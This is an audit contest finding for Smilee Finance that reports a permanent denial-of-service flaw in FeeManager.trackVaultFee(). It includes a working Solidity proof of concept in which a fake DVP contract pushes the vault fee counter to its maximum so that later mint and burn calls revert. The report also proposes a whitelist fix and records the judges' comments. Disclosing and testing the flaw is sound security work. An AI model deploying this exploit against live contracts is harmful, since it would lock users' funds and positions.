ge6a - Permanent Dos through trackVaultFee()

[sherlock-admin4]

ge6a

high

Permanent Dos through trackVaultFee()

Summary

The function trackVaultFee() in the FeeManager contract has poor validation of msg.sender, and a malicious user can set any value they want in vaultFeeAmounts without restrictions.

Vulnerability Detail

https://github.com/sherlock-audit/2024-02-smilee-finance/blob/3241f1bf0c8e951a41dd2e51997f64ef3ec017bd/smilee-v2-contracts/src/FeeManager.sol#L218-L228

The check performed in trackVaultFee() is whether the provided vault address matches that of the vault of the DVP instance located at the msg.sender address. The problem is that anyone can deploy a modified DVP contract whose vault can be one of Smilee's vaults. This way, the check is bypassed. The trackVaultFee function is called on every mint and burn. A malicious user can execute trackVaultFee with an amount uint256.max and thus cause the function to revert on every subsequent call. This means a permanent denial of service on mint and burn.

POC

You should add this POC into Scenarios.t.sol ```solidity contract FakeDVP { address vault_; address feeManager; constructor(address _vault, address _feeManager) { vault_ = _vault; feeManager = _feeManager; } function vault() external view returns (address) { return vault_; } function fake() external { uint256 amount = FeeManager(feeManager).vaultFeeAmounts(vault_); FeeManager(feeManager).trackVaultFee(vault_, type(uint256).max - amount); } function premium( uint256 strike, uint256 amountUp, uint256 amountDown ) external view returns (uint256 premium, uint256 fee) {} function payoff( uint256 epoch, uint256 strike, uint256 amountUp, uint256 amountDown ) external view returns (uint256 payoff, uint256 fee) {} function getUtilizationRate() external view returns (uint256) {} function mint( address recipient, uint256 strike, uint256 amountUp, uint256 amountDown, uint256 expectedPremium, uint256 maxSlippage, uint256 nftAccessTokenId ) external returns (uint256 leverage) {} function burn( uint256 epoch, address recipient, uint256 strike, uint256 amountUp, uint256 amountDown, uint256 expectedMarketValue, uint256 maxSlippage ) external returns (uint256 paidPayoff) {} } ``` ```solidity function testDosDVP() public { string memory scenarioName = "scenario_1"; bool isFirstEpoch = true; console.log(string.concat("Executing scenario: ", scenarioName)); string memory scenariosJSON = _getTestsFromJson(scenarioName); console.log("- Checking start epoch"); StartEpoch memory startEpoch = _getStartEpochFromJson(scenariosJSON); _checkStartEpoch(startEpoch, isFirstEpoch); Trade[] memory trades = _getTradesFromJson(scenariosJSON); for (uint i = 0; i < trades.length; i++) { console.log("- Checking trade number", i + 1); _checkTrade(trades[i]); } address attacker = address(0x4); vm.startPrank(attacker); FakeDVP fakeDVP = new FakeDVP(address(_vault), address(_feeManager)); fakeDVP.fake(); vm.startPrank(_trader); (uint256 marketValue, uint256 fee) = _dvp.payoff(_dvp.currentEpoch(), 2000000000000000000000, 80000000000000000000000, 0); //this call will revert marketValue = _dvp.burn( _dvp.currentEpoch(), _trader, 2000000000000000000000, 80000000000000000000000, 0, marketValue, 1000000000000000 ); } ```

Impact

The described DOS attack can be executed when the protocol has a high utilization rate. Users will not be able to close their positions and will incur losses equal to the premium paid, which will remain locked in the protocol, whose normal operation cannot be restored.

Code Snippet

Above.

Tool used

Manual Review

Recommendation

Possible solution is to add a whitelist for DVP instances that are allowed to use trackVaultFee or to add a separate role for them.

Duplicate of #43

[sherlock-admin3]

2 comment(s) were left on this issue during the judging contest.

panprog commented:

valid high, dup of #43

takarez commented:

valid; medium(4)

[metadato-eth]

SAME AS 43